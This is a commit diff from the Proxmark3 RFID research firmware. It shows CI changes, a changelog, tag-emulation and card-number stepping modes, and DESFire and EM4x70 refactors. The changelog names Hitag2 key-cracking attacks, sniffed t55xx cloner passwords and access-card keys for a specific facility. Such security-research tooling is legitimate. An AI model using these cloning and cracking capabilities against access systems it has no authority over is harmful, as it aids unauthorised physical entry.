Merge branch 'RfidResearchGroup:master' into update_workbench_driver

This commit is contained in:
Xavier 2024-07-16 00:29:17 -04:00 committed by GitHub
commit e7a21a42f0
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
107 changed files with 4340 additions and 1572 deletions

View file

@ -21,6 +21,10 @@ jobs:
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Set Git http.postBuffer to something high - name: Set Git http.postBuffer to something high
run: git config --global http.postBuffer 524288000 run: git config --global http.postBuffer 524288000
@ -39,10 +43,7 @@ jobs:
continue-on-error: true continue-on-error: true
- name: Install Python dependencies - name: Install Python dependencies
run: | run: pip install -r tools/requirements.txt
python3 -m pip install --upgrade pip
python3 -m pip install setuptools ansicolors sslcrypto
if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi
- name: make clean - name: make clean
run: make clean run: make clean
@ -61,6 +62,10 @@ jobs:
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Set Git http.postBuffer to something high - name: Set Git http.postBuffer to something high
run: git config --global http.postBuffer 524288000 run: git config --global http.postBuffer 524288000
@ -79,10 +84,7 @@ jobs:
continue-on-error: true continue-on-error: true
- name: Install Python dependencies - name: Install Python dependencies
run: | run: pip install -r tools/requirements.txt
python3 -m pip install --upgrade pip
python3 -m pip install setuptools ansicolors sslcrypto
if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi
- name: make clean - name: make clean
run: make clean run: make clean
@ -102,6 +104,10 @@ jobs:
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Set Git http.postBuffer to something high - name: Set Git http.postBuffer to something high
run: git config --global http.postBuffer 524288000 run: git config --global http.postBuffer 524288000
@ -120,10 +126,7 @@ jobs:
continue-on-error: true continue-on-error: true
- name: Install Python dependencies - name: Install Python dependencies
run: | run: pip install -r tools/requirements.txt
python3 -m pip install --upgrade pip
python3 -m pip install setuptools ansicolors sslcrypto
if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi
- name: Prepare Build Folders - name: Prepare Build Folders
run: | run: |

View file

@ -22,6 +22,10 @@ jobs:
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Update apt repos - name: Update apt repos
run: sudo apt-get update run: sudo apt-get update
@ -29,11 +33,7 @@ jobs:
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev
- name: Install Python dependencies - name: Install Python dependencies
run: | run: pip install -r tools/requirements.txt
python3 -m pip install --upgrade pip
python3 -m pip install setuptools
python3 -m pip install ansicolors sslcrypto
if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi
- name: make clean - name: make clean
run: make clean run: make clean
@ -52,6 +52,10 @@ jobs:
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Update apt repos - name: Update apt repos
run: sudo apt-get update run: sudo apt-get update
@ -59,11 +63,7 @@ jobs:
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev
- name: Install Python dependencies - name: Install Python dependencies
run: | run: pip install -r tools/requirements.txt
python3 -m pip install --upgrade pip
python3 -m pip install setuptools
python3 -m pip install ansicolors sslcrypto
if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi
- name: make clean - name: make clean
run: make clean run: make clean
@ -83,6 +83,10 @@ jobs:
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Update apt repos - name: Update apt repos
run: sudo apt-get update run: sudo apt-get update
@ -90,11 +94,7 @@ jobs:
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev
- name: Install Python dependencies - name: Install Python dependencies
run: | run: pip install -r tools/requirements.txt
python3 -m pip install --upgrade pip
python3 -m pip install setuptools
python3 -m pip install ansicolors sslcrypto
if [ -f requirements.txt ]; then python3 -m pip install -r requirements.txt; fi
- name: Prepare Build Folders - name: Prepare Build Folders
run: | run: |

4
.gitignore vendored
View file

@ -122,3 +122,7 @@ fpga_version_info.c
# docs # docs
!doc/*.json !doc/*.json
# local codeql
_codeql*
/codeql

View file

@ -3,6 +3,34 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased] ## [unreleased][unreleased]
- fixed breaking of client when trying to load a non-supported .picopass file (@iceman100) Thanks to Jump for suggested fixes!
- Changed `mf_nonce_brute` tool to handle the odd case of multiple key candidates (@iceman1001)
- Fixed a bad memory erase (@iceman1001)
- Fixed BT serial comms (@iceman1001)
- Changed `intertic.py` - updated and code clean up (@gentilkiwi)
- Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier
- Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp)
- Fixed 'hf 14b sim' - now works (@michi-jung)
- Added VB6 Rng for iclass elite keys `hf iclass lookup` and `hf iclass chk` functions by porting @bettse work in the Flipper Zero Picopass App (@antiklesys)
- Added MFC Keys for Laugardalslaug in Iceland (@dandri)
- Added key for Orkan keyfobs(@dandri)
## [Aurora.4.18589][2024-05-28]
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)
- Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001)
- Changed `lf hitag info` - now tries to identify different key fob emulators (@iceman1001)
- Added `lf hitag reader` - act as a Hitag2 reader (@iceman1001)
- Fixed `lf hitag crack2` - now works. (@iceman1001)
- Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001)
- Added `lf em 4x70 calc` - calculate `frn`/`grn` for a given `key` + `rnd`
- Fixed `hf 15 dump` memory leaks (@jlitewski)
- Changed `hf search` - topaz is detect before ISO14443a and commented out WIP ICT code path (@iceman1001)
- Fixed `hf search` - where felica reader now doesnt timeout and give wrong response (@iceman1001)
- Fixed overflow in deps/jansson library (@iceman1001)
- Added `lf hitag crack2` - WIP. Trying to add the second attack vector against Hitag2 (@iceman1001)
- Changed `hf 14b reader --plot` - made the anticollision signal trace download optional (@iceman1001)
- Added `lf_hitag_crypto.trace` - trace file of a complete read out of a Hitag2 in crypto mode (@iceman1001)
- Fix `lf cmdread` - uninitialised memory usage (@iceman1001)
- Changed `hf st info` - now tries to check signature if available (@iceman1001) - Changed `hf st info` - now tries to check signature if available (@iceman1001)
- Added `hf 14b mobib` - try to read out all data from a MOBIB card (@iceman1001) - Added `hf 14b mobib` - try to read out all data from a MOBIB card (@iceman1001)
- Added `hf 14b calyso` - try to read out all data from a Calypso card (@iceman1001) - Added `hf 14b calyso` - try to read out all data from a Calypso card (@iceman1001)
@ -28,6 +56,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Changed `data load` - now shows loaded number as comma printed. (@iceman1001) - Changed `data load` - now shows loaded number as comma printed. (@iceman1001)
- Updated `/tools/hitag2crack/common/OpenCL-Headers/CL` with latest from KhronosGroup github page (@iceman1001) - Updated `/tools/hitag2crack/common/OpenCL-Headers/CL` with latest from KhronosGroup github page (@iceman1001)
- Fixed `lf hitag list` - improved HITAG2 protocol annotation (@iceman1001) - Fixed `lf hitag list` - improved HITAG2 protocol annotation (@iceman1001)
- Added AIDs `002000` and `FF30FF` from Metrolinx Presto Card (@RunTheBot)
## [Zenith.4.18340][2024-03-20] ## [Zenith.4.18340][2024-03-20]
- Changed `hf mf info` - some detections (@iceman1001) - Changed `hf mf info` - some detections (@iceman1001)

View file

@ -41,7 +41,7 @@ void ModInfo(void) {
DbpString(" LF EM4100 simulator standalone mode"); DbpString(" LF EM4100 simulator standalone mode");
} }
static uint64_t rev_quads(uint64_t bits) { static uint64_t em4100emul_rev_quads(uint64_t bits) {
uint64_t result = 0; uint64_t result = 0;
for (int i = 0; i < 16; i++) { for (int i = 0; i < 16; i++) {
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i); result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
@ -49,7 +49,7 @@ static uint64_t rev_quads(uint64_t bits) {
return result >> 24; return result >> 24;
} }
static void fill_buff(uint8_t bit) { static void em4100emul_fill_buff(uint8_t bit) {
uint8_t *bba = BigBuf_get_addr(); uint8_t *bba = BigBuf_get_addr();
memset(bba + em4100emul_buflen, bit, LF_CLOCK / 2); memset(bba + em4100emul_buflen, bit, LF_CLOCK / 2);
em4100emul_buflen += (LF_CLOCK / 2); em4100emul_buflen += (LF_CLOCK / 2);
@ -57,7 +57,7 @@ static void fill_buff(uint8_t bit) {
em4100emul_buflen += (LF_CLOCK / 2); em4100emul_buflen += (LF_CLOCK / 2);
} }
static void construct_EM410x_emul(uint64_t id) { static void em4100emul_construct_EM410x_emul(uint64_t id) {
int i, j; int i, j;
int binary[4] = {0, 0, 0, 0}; int binary[4] = {0, 0, 0, 0};
@ -65,24 +65,24 @@ static void construct_EM410x_emul(uint64_t id) {
em4100emul_buflen = 0; em4100emul_buflen = 0;
for (i = 0; i < 9; i++) for (i = 0; i < 9; i++)
fill_buff(1); em4100emul_fill_buff(1);
for (i = 0; i < 10; i++) { for (i = 0; i < 10; i++) {
for (j = 3; j >= 0; j--, id /= 2) for (j = 3; j >= 0; j--, id /= 2)
binary[j] = id % 2; binary[j] = id % 2;
for (j = 0; j < 4; j++) for (j = 0; j < 4; j++)
fill_buff(binary[j]); em4100emul_fill_buff(binary[j]);
fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]); em4100emul_fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
for (j = 0; j < 4; j++) for (j = 0; j < 4; j++)
parity[j] ^= binary[j]; parity[j] ^= binary[j];
} }
for (j = 0; j < 4; j++) for (j = 0; j < 4; j++)
fill_buff(parity[j]); em4100emul_fill_buff(parity[j]);
fill_buff(0); em4100emul_fill_buff(0);
} }
static void LED_Slot(int i) { static void LED_Slot(int i) {
@ -108,8 +108,18 @@ void RunMod(void) {
SpinDelay(100); SpinDelay(100);
SpinUp(100); SpinUp(100);
LED_Slot(selected); LED_Slot(selected);
construct_EM410x_emul(rev_quads(em4100emul_low[selected])); Dbprintf("Emulating 0x%010llX", em4100emul_low[selected]);
em4100emul_construct_EM410x_emul(em4100emul_rev_quads(em4100emul_low[selected]));
SimulateTagLowFrequency(em4100emul_buflen, 0, true); SimulateTagLowFrequency(em4100emul_buflen, 0, true);
//Exit! Button hold break
int button_pressed = BUTTON_HELD(500);
if (button_pressed == BUTTON_HOLD) {
Dbprintf("Button hold, Break!");
LEDsoff();
Dbprintf("[=] >> LF EM4100 simulator stopped due to button hold <<");
return; // RunMod end
}
selected = (selected + 1) % em4100emul_slots_count; selected = (selected + 1) % em4100emul_slots_count;
} }
} }

View file

@ -48,7 +48,6 @@ void RunMod(void) {
FpgaDownloadAndGo(FPGA_BITSTREAM_LF); FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
const uint32_t high = 0x20; // LF high value is always 0x20 here const uint32_t high = 0x20; // LF high value is always 0x20 here
uint32_t low = 0;
uint32_t fac = FACILITY_CODE, cardnum = 0; uint32_t fac = FACILITY_CODE, cardnum = 0;
@ -80,7 +79,7 @@ void RunMod(void) {
if (BUTTON_HELD(1000) == BUTTON_HOLD) break; // long button press (>=1sec) exit if (BUTTON_HELD(1000) == BUTTON_HOLD) break; // long button press (>=1sec) exit
// calculate the new LF low value including Card number, Facility code and checksum // calculate the new LF low value including Card number, Facility code and checksum
low = (cardnum << 1) | (fac << 17); uint32_t low = (cardnum << 1) | (fac << 17);
low |= oddparity32((low >> 1) & 0xFFF); low |= oddparity32((low >> 1) & 0xFFF);
low |= evenparity32((low >> 13) & 0xFFF) << 25; low |= evenparity32((low >> 13) & 0xFFF) << 25;

View file

@ -1141,7 +1141,12 @@ static void PacketReceived(PacketCommandNG *packet) {
} }
case CMD_LF_HITAG2_CRACK: { case CMD_LF_HITAG2_CRACK: {
lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes; lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes;
ht2_crack(payload->NrAr); ht2_crack1(payload->NrAr);
break;
}
case CMD_LF_HITAG2_CRACK_2: {
lf_hitag_data_t *payload = (lf_hitag_data_t *) packet->data.asBytes;
ht2_crack2(payload->NrAr);
break; break;
} }
case CMD_LF_HITAG_READER: { // Reader for Hitag tags, args = type and function case CMD_LF_HITAG_READER: { // Reader for Hitag tags, args = type and function

View file

@ -102,8 +102,9 @@ void Dbhexdump(int len, const uint8_t *d, bool bAsci) {
} }
#endif #endif
} }
void print_result(const char *name, const uint8_t *d, size_t
void print_result(const char *name, const uint8_t *d, size_t n) { n) {
const uint8_t *p = d; const uint8_t *p = d;
uint16_t tmp = n & 0xFFF0; uint16_t tmp = n & 0xFFF0;
@ -129,7 +130,7 @@ void print_result(const char *name, const uint8_t *d, size_t n) {
} }
// Prints message and hexdump // Prints message and hexdump
void print_dbg(char *msg, uint8_t *d, uint16_t n) { void print_dbg(const char *msg, const uint8_t *d, uint16_t n) {
if (g_dbglevel == DBG_DEBUG) { if (g_dbglevel == DBG_DEBUG) {
print_result(msg, d, n); print_result(msg, d, n);
} }

View file

@ -27,8 +27,8 @@ void DbpStringEx(uint32_t flags, const char *src, size_t srclen);
void Dbprintf(const char *fmt, ...); void Dbprintf(const char *fmt, ...);
void DbprintfEx(uint32_t flags, const char *fmt, ...); void DbprintfEx(uint32_t flags, const char *fmt, ...);
void Dbhexdump(int len, const uint8_t *d, bool bAsci); void Dbhexdump(int len, const uint8_t *d, bool bAsci);
void print_result(const char *name, const uint8_t *buf, size_t len); void print_result(const char *name, const uint8_t *d, size_t n);
void print_dbg(char *msg, uint8_t *d, uint16_t n); void print_dbg(const char *msg, const uint8_t *d, uint16_t n);
//void PrintToSendBuffer(void); //void PrintToSendBuffer(void);
#endif #endif

View file

@ -543,30 +543,35 @@ void *mifare_cryto_preprocess_data(desfiretag_t tag, void *data, size_t *nbytes,
void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings) { void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes, int communication_settings) {
void *res = data; void *res = data;
void *edata = NULL;
uint8_t first_cmac_byte = 0x00; uint8_t first_cmac_byte = 0x00;
desfirekey_t key = DESFIRE(tag)->session_key; desfirekey_t key = DESFIRE(tag)->session_key;
if (!key) if (!key) {
return data; return data;
}
// Return directly if we just have a status code. // Return directly if we just have a status code.
if (1 == *nbytes) if (1 == *nbytes) {
return res; return res;
}
switch (communication_settings & MDCM_MASK) { switch (communication_settings & MDCM_MASK) {
case MDCM_PLAIN: case MDCM_PLAIN: {
if (AS_LEGACY == DESFIRE(tag)->authentication_scheme) if (AS_LEGACY == DESFIRE(tag)->authentication_scheme) {
break; break;
}
}
/* pass through */ /* pass through */
case MDCM_MACED: case MDCM_MACED: {
switch (DESFIRE(tag)->authentication_scheme) { switch (DESFIRE(tag)->authentication_scheme) {
case AS_LEGACY: case AS_LEGACY: {
if (communication_settings & MAC_VERIFY) {
if ((communication_settings & MAC_VERIFY) == MAC_VERIFY) {
*nbytes -= key_macing_length(key); *nbytes -= key_macing_length(key);
if (*nbytes == 0) { if (*nbytes == 0) {
*nbytes = -1; *nbytes = -1;
res = NULL; res = NULL;
@ -577,18 +582,17 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
} }
size_t edl = enciphered_data_length(tag, *nbytes - 1, communication_settings); size_t edl = enciphered_data_length(tag, *nbytes - 1, communication_settings);
edata = BigBuf_malloc(edl); uint8_t edata[edl];
memset(edata, 0, sizeof(edata));
memcpy(edata, data, *nbytes - 1); memcpy(edata, data, *nbytes - 1);
memset((uint8_t *)edata + *nbytes - 1, 0, edl - *nbytes + 1);
mifare_cypher_blocks_chained(tag, NULL, NULL, edata, edl, MCD_SEND, MCO_ENCYPHER); mifare_cypher_blocks_chained(tag, NULL, NULL, edata, edl, MCD_SEND, MCO_ENCYPHER);
if (0 != memcmp((uint8_t *)data + *nbytes - 1, (uint8_t *)edata + edl - 8, 4)) { if (0 != memcmp((uint8_t *)data + *nbytes - 1, edata + edl - 8, 4)) {
#ifdef WITH_DEBUG #ifdef WITH_DEBUG
Dbprintf("MACing not verified"); Dbprintf("MACing not verified");
hexdump((uint8_t *)data + *nbytes - 1, key_macing_length(key), "Expect ", 0); hexdump((uint8_t *)data + *nbytes - 1, key_macing_length(key), "Expect ", 0);
hexdump((uint8_t *)edata + edl - 8, key_macing_length(key), "Actual ", 0); hexdump(edata + edl - 8, key_macing_length(key), "Actual ", 0);
#endif #endif
DESFIRE(tag)->last_pcd_error = CRYPTO_ERROR; DESFIRE(tag)->last_pcd_error = CRYPTO_ERROR;
*nbytes = -1; *nbytes = -1;
@ -596,10 +600,16 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
} }
} }
break; break;
case AS_NEW: }
if (!(communication_settings & CMAC_COMMAND)) case AS_NEW: {
if ((communication_settings & CMAC_COMMAND) != CMAC_COMMAND) {
break; break;
if (communication_settings & CMAC_VERIFY) { }
int n = 0;
if ((communication_settings & CMAC_VERIFY) == CMAC_VERIFY) {
if (*nbytes < 9) { if (*nbytes < 9) {
*nbytes = -1; *nbytes = -1;
res = NULL; res = NULL;
@ -607,13 +617,16 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
} }
first_cmac_byte = ((uint8_t *)data)[*nbytes - 9]; first_cmac_byte = ((uint8_t *)data)[*nbytes - 9];
((uint8_t *)data)[*nbytes - 9] = ((uint8_t *)data)[*nbytes - 1]; ((uint8_t *)data)[*nbytes - 9] = ((uint8_t *)data)[*nbytes - 1];
n = 8;
} }
int n = (communication_settings & CMAC_VERIFY) ? 8 : 0;
cmac(key, DESFIRE(tag)->ivect, ((uint8_t *)data), *nbytes - n, DESFIRE(tag)->cmac); cmac(key, DESFIRE(tag)->ivect, ((uint8_t *)data), *nbytes - n, DESFIRE(tag)->cmac);
if (communication_settings & CMAC_VERIFY) { if ((communication_settings & CMAC_VERIFY) == CMAC_VERIFY) {
((uint8_t *)data)[*nbytes - 9] = first_cmac_byte; ((uint8_t *)data)[*nbytes - 9] = first_cmac_byte;
if (0 != memcmp(DESFIRE(tag)->cmac, (uint8_t *)data + *nbytes - 9, 8)) { if (0 != memcmp(DESFIRE(tag)->cmac, (uint8_t *)data + *nbytes - 9, 8)) {
#ifdef WITH_DEBUG #ifdef WITH_DEBUG
Dbprintf("CMAC NOT verified :-("); Dbprintf("CMAC NOT verified :-(");
@ -629,11 +642,10 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
} }
break; break;
} }
}
free(edata);
break; break;
case MDCM_ENCIPHERED: }
case MDCM_ENCIPHERED: {
(*nbytes)--; (*nbytes)--;
bool verified = false; bool verified = false;
int crc_pos = 0x00; int crc_pos = 0x00;
@ -670,48 +682,50 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
* verified, and accumulating 0's in it should not change it. * verified, and accumulating 0's in it should not change it.
*/ */
switch (DESFIRE(tag)->authentication_scheme) { switch (DESFIRE(tag)->authentication_scheme) {
case AS_LEGACY: case AS_LEGACY: {
crc_pos = *nbytes - 8 - 1; // The CRC can be over two blocks crc_pos = *nbytes - 8 - 1; // The CRC can be over two blocks
if (crc_pos < 0) { if (crc_pos < 0) {
/* Single block */ crc_pos = 0; // Single block
crc_pos = 0;
} }
break; break;
case AS_NEW: }
case AS_NEW: {
/* Move status between payload and CRC */ /* Move status between payload and CRC */
res = DESFIRE(tag)->crypto_buffer; res = DESFIRE(tag)->crypto_buffer;
memcpy(res, data, *nbytes); memcpy(res, data, *nbytes);
crc_pos = (*nbytes) - 16 - 3; crc_pos = (*nbytes) - 16 - 3;
if (crc_pos < 0) { if (crc_pos < 0) {
/* Single block */ crc_pos = 0; // Single block
crc_pos = 0;
} }
memcpy((uint8_t *)res + crc_pos + 1, (uint8_t *)res + crc_pos, *nbytes - crc_pos); memcpy((uint8_t *)res + crc_pos + 1, (uint8_t *)res + crc_pos, *nbytes - crc_pos);
((uint8_t *)res)[crc_pos] = 0x00; ((uint8_t *)res)[crc_pos] = 0x00;
crc_pos++; crc_pos++;
*nbytes += 1; *nbytes += 1;
break; break;
} }
}
do { do {
uint16_t crc_16 = 0x00; uint16_t crc_16 = 0x00;
uint32_t crc = 0x00; uint32_t crc = 0x00;
switch (DESFIRE(tag)->authentication_scheme) { switch (DESFIRE(tag)->authentication_scheme) {
case AS_LEGACY: case AS_LEGACY: {
AddCrc14A((uint8_t *)res, end_crc_pos); AddCrc14A((uint8_t *)res, end_crc_pos);
end_crc_pos = crc_pos + 2; end_crc_pos = crc_pos + 2;
//
crc = crc_16; crc = crc_16;
break; break;
case AS_NEW: }
case AS_NEW: {
end_crc_pos = crc_pos + 4; end_crc_pos = crc_pos + 4;
crc32_ex(res, end_crc_pos, (uint8_t *)&crc); crc32_ex(res, end_crc_pos, (uint8_t *)&crc);
break; break;
} }
if (!crc) { }
if (crc == 0) {
verified = true; verified = true;
for (int n = end_crc_pos; n < *nbytes - 1; n++) { for (int n = end_crc_pos; n < *nbytes - 1; n++) {
uint8_t byte = ((uint8_t *)res)[n]; uint8_t byte = ((uint8_t *)res)[n];
@ -719,31 +733,40 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
verified = false; verified = false;
} }
} }
if (verified) { if (verified) {
*nbytes = crc_pos; *nbytes = crc_pos;
switch (DESFIRE(tag)->authentication_scheme) { switch (DESFIRE(tag)->authentication_scheme) {
case AS_LEGACY: case AS_LEGACY: {
((uint8_t *)data)[(*nbytes)++] = 0x00; ((uint8_t *)data)[(*nbytes)++] = 0x00;
break; break;
case AS_NEW: }
case AS_NEW: {
/* The status byte was already before the CRC */ /* The status byte was already before the CRC */
break; break;
} }
}
} else { } else {
switch (DESFIRE(tag)->authentication_scheme) { switch (DESFIRE(tag)->authentication_scheme) {
case AS_LEGACY: case AS_LEGACY: {
break; break;
case AS_NEW: }
case AS_NEW: {
x = ((uint8_t *)res)[crc_pos - 1]; x = ((uint8_t *)res)[crc_pos - 1];
((uint8_t *)res)[crc_pos - 1] = ((uint8_t *)res)[crc_pos]; ((uint8_t *)res)[crc_pos - 1] = ((uint8_t *)res)[crc_pos];
((uint8_t *)res)[crc_pos] = x; ((uint8_t *)res)[crc_pos] = x;
break; break;
} }
}
crc_pos++; crc_pos++;
} }
} while (!verified && (end_crc_pos < *nbytes));
if (!verified) { } while (verified == false && (end_crc_pos < *nbytes));
if (verified == false) {
#ifdef WITH_DEBUG #ifdef WITH_DEBUG
/* FIXME In some configurations, the file is transmitted PLAIN */ /* FIXME In some configurations, the file is transmitted PLAIN */
Dbprintf("CRC not verified in decyphered stream"); Dbprintf("CRC not verified in decyphered stream");
@ -752,14 +775,14 @@ void *mifare_cryto_postprocess_data(desfiretag_t tag, void *data, size_t *nbytes
*nbytes = -1; *nbytes = -1;
res = NULL; res = NULL;
} }
break; break;
default: }
default: {
Dbprintf("Unknown communication settings"); Dbprintf("Unknown communication settings");
*nbytes = -1; *nbytes = -1;
res = NULL; res = NULL;
break; break;
}
} }
return res; return res;
} }

View file

@ -1255,7 +1255,11 @@ static int em4x50_sim_read_bit(void) {
int cycles = 0; int cycles = 0;
int timeout = EM4X50_T_SIMULATION_TIMEOUT_READ; int timeout = EM4X50_T_SIMULATION_TIMEOUT_READ;
while (cycles < EM4X50_T_TAG_FULL_PERIOD) { // wait 16 cycles to make sure there is no field when reading a "0" bit
uint32_t waitval = GetTicks();
while (GetTicks() - waitval < EM4X50_T_TAG_QUARTER_PERIOD * CYCLES2TICKS);
while (cycles < EM4X50_T_TAG_THREE_QUARTER_PERIOD) {
// wait until reader field disappears // wait until reader field disappears
while ((timeout--) && !(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_CLK)); while ((timeout--) && !(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_CLK));

View file

@ -30,6 +30,8 @@ static em4x70_tag_t tag = { 0 };
// EM4170 requires a parity bit on commands, other variants do not. // EM4170 requires a parity bit on commands, other variants do not.
static bool command_parity = true; static bool command_parity = true;
#if 1 // Calculation of ticks for timing functions
// Conversion from Ticks to RF periods // Conversion from Ticks to RF periods
// 1 us = 1.5 ticks // 1 us = 1.5 ticks
// 1RF Period = 8us = 12 Ticks // 1RF Period = 8us = 12 Ticks
@ -55,11 +57,15 @@ static bool command_parity = true;
#define EM4X70_COMMAND_RETRIES 5 // Attempts to send/read command #define EM4X70_COMMAND_RETRIES 5 // Attempts to send/read command
#define EM4X70_MAX_RECEIVE_LENGTH 96 // Maximum bits to expect from any command #define EM4X70_MAX_RECEIVE_LENGTH 96 // Maximum bits to expect from any command
#endif // Calculation of ticks for timing functions
#if 1 // EM4x70 Command IDs
/** /**
* These IDs are from the EM4170 datasheet * These IDs are from the EM4170 datasheet.
* Some versions of the chip require a * Some versions of the chip require a
* (even) parity bit, others do not * (even) parity bit, others do not.
* The command is thus stored only in the
* three least significant bits (mask 0x07).
*/ */
#define EM4X70_COMMAND_ID 0x01 #define EM4X70_COMMAND_ID 0x01
#define EM4X70_COMMAND_UM1 0x02 #define EM4X70_COMMAND_UM1 0x02
@ -67,6 +73,7 @@ static bool command_parity = true;
#define EM4X70_COMMAND_PIN 0x04 #define EM4X70_COMMAND_PIN 0x04
#define EM4X70_COMMAND_WRITE 0x05 #define EM4X70_COMMAND_WRITE 0x05
#define EM4X70_COMMAND_UM2 0x07 #define EM4X70_COMMAND_UM2 0x07
#endif // EM4x70 Command IDs
// Constants used to determine high/low state of signal // Constants used to determine high/low state of signal
#define EM4X70_NOISE_THRESHOLD 13 // May depend on noise in environment #define EM4X70_NOISE_THRESHOLD 13 // May depend on noise in environment
@ -80,9 +87,9 @@ static bool command_parity = true;
#define IS_TIMEOUT(timeout_ticks) (GetTicks() > timeout_ticks) #define IS_TIMEOUT(timeout_ticks) (GetTicks() > timeout_ticks)
#define TICKS_ELAPSED(start_ticks) (GetTicks() - start_ticks) #define TICKS_ELAPSED(start_ticks) (GetTicks() - start_ticks)
static uint8_t bits2byte(const uint8_t *bits, int length); static uint8_t encoded_bit_array_to_byte(const uint8_t *bits, int count_of_bits);
static void bits2bytes(const uint8_t *bits, int length, uint8_t *out); static void encoded_bit_array_to_bytes(const uint8_t *bits, int count_of_bits, uint8_t *out);
static int em4x70_receive(uint8_t *bits, size_t length); static int em4x70_receive(uint8_t *bits, size_t maximum_bits_to_read);
static bool find_listen_window(bool command); static bool find_listen_window(bool command);
static void init_tag(void) { static void init_tag(void) {
@ -207,9 +214,10 @@ static uint32_t get_pulse_length(edge_detection_t edge) {
return 0; return 0;
} }
static bool check_pulse_length(uint32_t pl, uint32_t length) { static bool check_pulse_length(uint32_t pulse_tick_length, uint32_t target_tick_length) {
// check if pulse length <pl> corresponds to given length <length> // check if pulse tick length corresponds to target length (+/- tolerance)
return ((pl >= (length - EM4X70_T_TAG_TOLERANCE)) && (pl <= (length + EM4X70_T_TAG_TOLERANCE))); return ((pulse_tick_length >= (target_tick_length - EM4X70_T_TAG_TOLERANCE)) &&
(pulse_tick_length <= (target_tick_length + EM4X70_T_TAG_TOLERANCE)));
} }
static void em4x70_send_bit(bool bit) { static void em4x70_send_bit(bool bit) {
@ -344,7 +352,11 @@ static int authenticate(const uint8_t *rnd, const uint8_t *frnd, uint8_t *respon
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("Auth failed"); if (g_dbglevel >= DBG_EXTENDED) Dbprintf("Auth failed");
return PM3_ESOFT; return PM3_ESOFT;
} }
bits2bytes(grnd, 24, response); // although only received 20 bits
// ask for 24 bits converted because
